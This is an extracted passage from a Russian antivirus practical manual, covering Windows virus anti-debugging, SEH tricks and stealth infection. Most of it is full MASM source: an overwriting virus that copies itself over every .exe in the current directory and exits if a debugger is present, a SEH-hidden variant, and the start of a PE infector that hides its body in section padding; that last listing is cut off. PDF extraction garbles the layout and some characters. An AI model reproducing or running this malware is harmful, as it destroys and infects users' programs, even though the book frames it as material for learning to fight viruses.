Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
221 |
|
|
5.2. Усиление кода
Как было упомянуто в предыдущих главах, усиление кода — это такая вирусная техника, которая ориентирована на обман или вывод из строя отладчиков и дизассемблеров. Несмотря на то что данная техника очень стара, она не теряет своей актуальности и сегодня. Начнем с методов борьбы с отладчиками и со встроенных в Windows возможностей обнаружения отладчиков. В операционных системах Windows, начиная с Windows NT, существует функция IsDebuggerPresent. Данная функция аргументов не получает, а в качестве результата возвращает 1, если отладчик обнаружен, и 0 в противном случае.
Использовать ее довольно легко:
//---------------------------------------------
if (!IsDebuggerPresent()) goto no_debugger //........................................
no_debugger: //---------------------------------------------
Если покопаться в самой функции IsDebuggerPresent, мы обнаружим, что она состоит всего из четырех команд:
;---------------------------------------------- |
|
mov |
eax,fs:[018h] |
mov |
eax,[eax+30h] |
movzx |
eax,byte ptr [eax+02] |
ret |
|
;---------------------------------------------- |
|
Можно использовать первые три команды прямо в коде своей программы, если не очень хочется использовать функцию IsDebuggerPresent.
Рассмотрим использование второго способа, потому как реализация первого вообще тривиальна.
Рассмотрим листинг:
;----------------------------------------------
.386
.model flat
;Далее идут импортируемые функции |
|
||
extrn |
ExitProcess:PROC |
|
|
extrn |
FindFirstFileA:PROC |
|
|
extrn |
CopyFileA:PROC |
|
|
extrn |
GetCommandLineA:PROC |
|
|
extrn |
FindNextFileA:Proc |
|
|
extrn |
lstrcpyA:PROC |
|
|
extrn |
FindClose:PROC |
|
|
.data |
|
|
; Область данных |
EXE_file |
DB |
'*.exe',0 |
; Маска поиска файлов |
find_file |
db |
313 dup(?) |
; Переменная типа WIN32_FIND_DATA |
host_name |
db |
100 dup(?) |
; Переменная для имени файла |
Find_data_name |
equ |
2ch |
; Смещение на имя файла в WIN32_FIND_DATA |
Fhandle |
dd |
? |
; Хэндл поиска |
msg1 |
db |
'[ WIN32 OVERWRITER VIRUS -=w32.tulen'=- ]' ; Имя вируса |
|
222 |
|
|
Windows вирусы |
|
|
|
|
.code |
|
|
; |
;---------------------------------------------- |
|
|
|
start: |
|
; С этого места начинается программа |
|
mov |
eax,fs:[00000018h] |
; |
Вот это и есть содержание функции WIN API |
mov |
eax,[eax+30h] |
; |
IsDebuggerPresent |
movzx |
eax,byte ptr [eax+02]; |
Если мы выполняемся под отладчиком, |
|
cmp |
eax,0 |
; |
то переходим |
jne |
exit |
; |
на завершение программы |
Call |
GetCommandLineA |
; |
Данной функции параметры не передаются |
push |
eax |
; |
Кладем в стек смещение на командную строку |
push |
offset host_name |
; |
Копируем ее в переменную host_name |
|
|
; |
|
call |
lstrcpyA |
; Вызываем функцию копирования строки |
|
;----------------------------------------------
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Кладем в стек смещение на find_file |
push |
OFFSET EXE_file |
; Кладем в стек смещение на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла, |
je |
End_it |
; то идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
|
|
infect: |
|
|
|
|
; Функции CopyFileA говорим о том, что будем |
push |
0 |
; при копировании файл перезаписывать |
push |
offset find_file + Find_data_name ; Куда копируем |
|
push |
offset host_name |
; Откуда копируем |
call |
CopyFileA |
; Вызов функции копирования |
Call |
Fnext |
; Вызываем процедуру поиска следующего файла |
cmp |
eax,0 |
; Если eax равен 0, то файлов больше нет |
jne |
infect |
; Идем на выход |
End_it: |
|
|
push |
offset [Fhandle] |
; Кладем в стек хэндл поиска |
call |
FindClose |
; и вызываем функцию закрытия поиска |
exit: |
|
|
push |
0 |
; Кладем в стек 0 |
call |
ExitProcess |
; и вызываем функцию завершения программы |
;---------------------------------------------- |
|
|
Fnext: |
|
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет, и 1 в обратном случае
push |
offset find_file |
; |
Кладем в стек |
смещение на find_file |
push |
[Fhandle] |
; |
Кладем в стек |
хэндл |
call |
FindNextFileA |
; |
Вызываем функцию поиска следующего файла |
|
Windows вирусы |
223 |
|
|
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
end |
start |
;---------------------------------------------- |
|
Представленный выше вирус перезаписывает все файлы в текущей директории, но если он определит, что запущен из-под отладчика, то сразу следует завершение работы данного вируса. Будем надеяться, что это усложнит понимание сути работы данного вируса. На самом деле вирус очень прост, и данный антиотладочный трюк был использован с целью демонстрации техники. Этот трюк можно весьма эффективно использовать в других вирусах.
Также эффективной защитой нашего вирусного кода будет запрятывание его в SEH. Что же такое SEH? Это структурированный обработчик исключений. Вот, к примеру, если мы пытаемся писать в ядро, то будет вызываться исключение. Мы имеем возможность подменить оригинальный обработчик SEH своим собственным. Вначале нам необходимо сохранить оригинальный обработчик SEH:
;---------------------------------------------- |
|
push |
dword ptr fs:[0] |
;---------------------------------------------- |
|
Теперь нам необходимо заменить оригинальный обработчик на свой вирусный:
;---------------------------------------------- |
|
push |
offset SEH_Handler |
mov |
fs:[0],esp |
;---------------------------------------------- |
|
Восстановление оригинального обработчика в нашем случае будет производиться следующей инструкцией:
;---------------------------------------------- |
|
pop |
dword ptr fs:[0] |
;---------------------------------------------- |
|
Данная инструкция восстанавливает из стека оригинальный обработчик SEH.
Рассмотрим листинг:
;---------------------------------------------- |
|
|
.386p |
|
|
.model |
flat |
|
extrn |
ExitProcess:PROC |
|
extrn |
FindFirstFileA:PROC |
|
extrn |
CopyFileA:PROC |
|
extrn |
GetCommandLineA:PROC |
|
extrn |
FindNextFileA:Proc |
|
extrn |
lstrcpyA:PROC |
|
extrn |
FindClose:PROC |
|
extrn |
MessageBoxA:PROC |
|
.data |
|
|
EXE_file |
DB |
'*.exe',0 |
224 |
|
|
Windows вирусы |
|
|
|
|
find_file |
db |
313 dup(?) |
; Данные |
host_name |
db |
100 dup(?) |
|
Find_data_name |
equ |
2ch |
|
Fhandle |
dd |
? |
|
.code |
|
|
|
;---------------------------------------------- |
|
|
|
start: |
|
|
|
pop |
ebx |
; Берем адрес для вызова исключения |
|
call |
|
setupSEH |
; |
exceptionhandler: |
|
|
|
mov |
|
esp,[esp+8] |
; Ошибка дает нам старый ESP |
|
|
|
; â [ESP+8] |
Call |
|
GetCommandLineA |
; Данной функции параметры не передаются |
push |
|
eax |
; Кладем в стек смещение на командную строку |
push |
offset host_name |
; Копируем ее в переменную host_name |
|
|
|
|
; |
call |
|
lstrcpyA |
; Вызываем функцию копирования строки |
;----------------------------------------------
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Кладем в стек смещение на find_file |
push |
OFFSET EXE_file |
; Кладем в стек смещение на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла, |
je |
End_it |
; то идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
|
|
infect: |
|
|
|
|
; Функции CopyFileA говорим о том, что будем |
push |
0 |
; При копировании файл перезаписывать |
push |
offset find_file + Find_data_name ; Куда копируем |
|
push |
offset host_name |
; Откуда копируем |
call |
CopyFileA |
; Вызов функции копирования |
Call |
Fnext |
; Вызываем процедуру поиска следующего файла |
cmp |
eax,0 |
; Если eax равен 0, то файлов больше нет |
jne |
infect |
; Идем на выход |
End_it: |
|
|
push |
offset [Fhandle] |
; Кладем в стек хэндл поиска |
call |
FindClose |
; и вызываем функцию закрытия поиска |
exit: |
|
|
push |
0 |
; Кладем в стек 0 |
call |
ExitProcess |
; и вызываем функцию завершения программы |
;---------------------------------------------- |
|
|
Fnext: |
|
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет, и 1 в обратном случае
Windows вирусы |
225 |
||
|
|
|
|
|
push |
offset find_file |
; Кладем в стек смещение на find_file |
|
push |
[Fhandle] |
; Кладем в стек хэндл |
|
call |
FindNextFileA |
; Вызываем функцию поиска следующего файла |
|
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
|
|
push |
00000000h |
|
|
call |
ExitProcess |
; Выходим из приложения |
;---------------------------------------------- |
|
|
|
setupSEH: |
|
|
|
|
push |
dword ptr fs:[0] |
; Push'им оригинальный |
|
|
|
; обработчик SEH |
|
mov |
fs:[0],esp |
; и помещаем новый (который |
|
|
|
; находится после первого |
|
|
|
; call) |
|
|
|
; Пытаемся писать в ядро (что |
|
mov |
eax,012345678h |
; вызовет исключение) |
|
xchg |
eax,[ebx] |
|
end |
start |
|
|
;---------------------------------------------- |
|
|
|
Мы рассмотрели основные способы защиты от отладчиков, но стоит заметить, что некоторые из них работают и против эмуляторов.
В качестве защиты от дизассемблирования можно применять традиционный способ — перекрывающийся код.
Лечение данного вируса примитивно, но довольно серьезно затруднен его анализ. По этой причине придется затратить гораздо больше времени на анализ данного вируса.
5.3. Стелс-механизмы
Как и в DOS-вирусах, в Windows системах существуют возможности для написания стелс-вирусов. Как вы уже знаете, они бывают с полным стелс-меха- низмом и неполным. При неполном стелс-механизме вирус маскирует только свою длину, а при полном он полностью прячет свое тело при обращении к файлу (естественно, длина также маскируется). Написание полноценного стелс-ви- руса под Windows системы очень трудоемко, так как в различных системах семейства Windows существуют серьезные различия. И вторая причина — это разграничение уровня доступа (ring3 и ring0), полный стелс возможен только в ring0. По большей части в ring0 работают драйвера, а программы могут попасть
âring0 в результате различных ошибок в безопасности операционной системы.
Âданной главе мы напишем полу-стелсвирус, который будет использовать технику «неизменения точки входа». А для маскировки длины вирус будет поселяться в области нулей последней секции.
Рассмотрим алгоритм функционирования вируса: 1) найти файл, возможную жертву;
2) проверить не инфицирован ли он, если да то на шаг 5;
226 |
Windows вирусы |
|
|
3)проверить достаточно ли там нулей, для размещения тела вируса, если нет, то на шаг 5;
4)если достаточно, то инфицируем файл, записывая в начала кода процедуру передачи управления на тело вируса, а в конце файла в области нулей само тело вируса;
5)ищем следующий файл, если файлов нет, то на шаг 6;
6)передаем управление оригинальной программе;
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
Благодаря такой методике инфицирования размер инфицированной программы не увеличивается. Единственным недостатком данного вируса является то, что он ориентирован на конкретные адреса функций, поэтому он не будет работать ни на каких системах, кроме Windows XP. Данный недостаток легко исправляется модификацией адресов функций.
Рассмотрим листинг:
;----------------------------------------------
.386
.model flat
extrn |
ExitProcess:PROC |
|
|
.data |
|
|
;Начало кода |
start: |
|
|
|
;---------------------------------------------- |
|
|
|
|
call |
delta |
; |
delta: |
|
|
; Получение дельта |
|
pop |
ebp |
; смещения |
|
sub |
ebp,offset delta |
; |
Windows вирусы |
227 |
|
|
|
|
lea |
eax,dword ptr[ebp+find_file] |
; Поиск файла-жертвы |
push |
eax |
; |
lea |
eax,dword ptr[ebp+mask1] |
; |
push |
eax |
; |
lea |
eax,dword ptr[ebp+FindFirstFileA] |
; |
call |
[eax] |
; |
cmp |
EAX, -1 |
; Если файл не найден |
je |
End_it |
; завершаем работу |
mov |
[ebp+Fhandle],eax |
; Сохраняем хэндл поиска |
pop |
edi |
; Вызов подпрограммы |
call |
restore |
; для передачи управления |
|
|
; оригинальной программе |
zaraza: |
|
|
mov |
edx,dword ptr [ebp+find_file+20h] |
; В edx помещаем длину файла |
mov |
[ebp+memory],edx |
; и сохраняем ее в memory |
call |
infect |
; Вызов функции |
|
|
; инфицирования |
call |
FindNext |
; Вызов подпрограммы поиска |
|
|
; следующего файла |
cmp |
eax,0 |
; Если файлы закончились, |
jne |
zaraza |
; то и заражать нам нечего |
cmp |
[ebp+ret_addr],0 |
; Если адрес возврата = 0 |
je |
konec |
; то мы стартовали без |
|
|
; программы-носителя |
|
|
; Завершаем работу |
push |
[ebp+ret_addr] |
; Передаем управление |
ret |
|
; программе-носителю |
;---------------------------------------------- |
|
|
konec: |
|
|
push 0 |
; Вызываем WIN API функцию |
|
lea eax,[ebp+ExitProcessV] |
; ExitProcess |
|
call [eax] |
; |
|
;---------------------------------------------- |
|
|
infect: |
|
|
push |
0 |
; |
push |
00000080h |
; |
push |
3 |
; Открываем файл жертву |
push |
0 |
; для чтения/записи |
push |
00000001h OR 00000002h |
; |
push |
40000000h OR 80000000h |
; |
lea |
eax,[ebp+find_file+2ch] |
; |
push |
eax |
; |
lea |
eax,[ebp+CreateFileA] |
; |
call |
[eax] |
; |
cmp |
eax,-1 |
; Если ошибка, то выходим |
je |
End_it |
; из процедуры инфицирования |
mov |
dword ptr [ebp+fHnd],eax |
; Сохраняем хэндл файла |
;---------------------------------------------- |
|
|
228 |
|
Windows вирусы |
|
|
|
push |
0 |
; |
push |
dword ptr [ebp+offset memory] |
; Макс. размер = memory |
push |
0 |
; Минимальный размер = 0 |
push |
4 |
; Доступ для чтения/записи |
push |
0 |
; |
push |
dword ptr [ebp + offset fHnd] |
|
lea |
eax,[ebp + offset CreateFileMappingA] |
|
call |
[eax] |
; eax = новый хэндл |
mov |
[ebp + offset mHnd],eax |
; Сохраняем его |
or |
eax, eax |
; Проверяем если он не 0 |
jz |
CloseFile |
; Если 0 закрываем файл |
push |
dword ptr[ebp + memory] |
; Количество памяти |
push |
0 |
; |
push |
0 |
; |
push |
2 |
; |
push |
dword ptr[ebp+mHnd] |
; Хэндл на память |
lea |
eax,[ebp + offset MapViewOfFileA] |
; |
call |
[eax] |
|
or |
eax, eax |
jz |
CloseMap |
mov |
esi,eax |
mov |
[ebp + offset mapaddress],esi |
;---------------------------------------------- |
|
call |
test2 |
cmp |
eax,-1 |
je |
exit |
call |
find_zeros |
cmp |
esi,0 |
je |
exit |
call |
find_entry |
call |
find_code |
call |
chattr |
call |
lichina |
;Если ошибка, то на выход
;Положим в esi указатель
;íà ôàéë â
;памяти и сохраняем его
;Вызываем проверку на
;инфицированность. Если
;заражен, то двигаемся к
;выходу
;Ищем нули в конце файла, и
;проверяем, если их меньше,
;÷åì íàäî,
;движемся к выходу
;Ищем точку входа
;Ищем начало кода
;Меняем атрибуты нужных
;нам секций
;Помещаем переход на тело
;вируса
;в начало файла
mov |
edi,[ebp+zeros_place] |
; Перемещаем тело вируса |
lea |
esi,[ebp+start] |
; в область нулей |
mov |
ecx,finish-start |
; |
rep |
movsb |
; |
exit: |
|
|
;---------------------------------------------- |
|
|
push |
dword ptr [ebp + offset mapaddress] |
|
lea |
eax, [ebp + UnmapViewOfFile] |
|
call |
[eax] |
|
CloseMap: |
|
|
push |
dword ptr [ebp+mHnd] |
; Закрываем память |
Windows вирусы |
229 |
|
|
|
|
lea |
eax,[ebp+CloseHandle] |
; |
call |
[eax] |
; |
CloseFile: |
|
|
push |
dword ptr [ebp+fHnd] |
; Закрываем файл |
lea |
eax,[ebp+CloseHandle] |
; |
call |
[eax] |
; |
End_it: |
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
|
FindNext: |
|
|
lea |
eax,[ebp+find_file] |
; |
push |
eax |
; Поиск следующего |
push |
dword ptr[ebp+Fhandle] |
; файла |
lea |
eax,[ebp+FindNextFileA] |
; |
call |
[eax] |
; |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
test2: |
|
|
mov |
ax,word ptr[esi+38h] |
; Проверка на |
|
|
; инфицированность |
cmp |
ax,'nf' |
; Если файл не заражен, |
je |
infected |
; то eax не равно -1 |
mov |
eax,0 |
; |
ret |
|
; |
infected: |
|
|
mov |
eax,-1 |
; Если заражен, то равно |
ret |
|
; |
;---------------------------------------------- |
|
|
find_zeros: |
|
|
push |
esi |
; Сохраняем esi в стеке |
add |
esi,dword ptr[ebp+find_file+20h] |
; Добавляем к нему размер |
|
|
; файла |
sub |
esi,2 |
; Отнимаем 2 |
push |
esi |
; и опять кладем esi в стек |
std |
|
; Включаем флаг направления |
ishem: |
lodsb |
; |
cmp |
al,0 |
; |
je |
ishem |
; Ищем, где заканчиваются 0 |
add |
esi,2 |
; Добавляем 2 |
pop |
ecx |
; Восстанавливаем esi в ecx |
sub |
ecx,esi |
; Дальше мы проверяем, |
cmp |
ecx,finish-start |
; достаточно ли нам нулей |
jge |
next3 |
; èëè íåò |
pop |
esi |
; Если нет, то сбрасываем |
mov |
esi,0 |
; esi â 0 |
ret |
|
; и выходим из подпрограммы |
next3: |
|
|
mov |
[ebp+zeros_place],esi |
; Если места достаточно, |
cld |
|
; то сохраним на него |
pop |
esi |
; указатель |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
230 |
|
Windows вирусы |
|
|
|
lichina: |
|
|
push |
edi esi |
; Устанавливаем метку |
mov |
ax,'nf' |
; зараженности |
mov |
word ptr [esi+38h],ax |
; |
mov |
edi,esi |
; |
mov |
edx,esi |
; |
add |
edx,dword ptr [edx+3ch] |
; |
mov |
edi,[ebp+start_code] |
; Помещаем физическое |
|
|
; смещение начала кода |
add |
edi,esi |
; Добавляем адрес памяти, |
|
|
; где он сейчас находится |
push |
edi |
; |
mov |
esi,edi |
; Читаем оттуда 31 байт и |
lea |
edi,[ebp+saved_bytes] |
; сохраняем их в теле вируса |
mov |
ecx,31 |
; |
rep |
movsb |
; |
pop |
edi |
; После этого записываем |
|
|
; òóäà |
mov |
al,0beh |
; |
stosb |
|
; свои байты, которые будут |
mov |
eax,[edx+28h] |
; передавать управление |
add |
eax,[edx+34h] |
; вирусу |
stosd |
|
; |
lea |
esi,[ebp+redirect_bytes] |
; |
mov |
ecx,26 |
; |
rep |
movsb |
; |
pop |
esi edi |
; Восстанавливаем регистры |
ret |
|
; и выходим из подпрограммы |
;---------------------------------------------- |
|
|
chattr: |
|
|
push |
esi edi |
; Сохраняем esi, edi |
add |
esi,dword ptr [esi+3ch] |
; Теперь esi указывает |
mov |
edi,esi |
; íà "PE" |
mov |
ebx,[esi + 74h] |
; |
shl |
ebx,3 |
; Получаем |
xor |
eax,eax |
|
mov |
ax,word ptr [esi + 6h] |
; количество объектов |
dec |
eax |
; Нам нужна последняя секция |
mov |
ecx,28h |
; заголовок секции |
mul |
ecx |
; * размер заголовка |
add |
esi,78h |
; теперь esi указывает на |
add |
esi,ebx |
; начало последнего |
add |
esi,eax |
; заголовка секции |
or |
dword ptr [esi + 24h],00000020h or 20000000h or 80000000h |
|
|
|
; Меняем атрибуты у |
|
|
; последней секции |
mov |
eax,[esi+10h] |
; Увеличиваем виртуальный |
|
|
; размер |
mov |
dword ptr [esi+08h],eax |
; секции до реального |
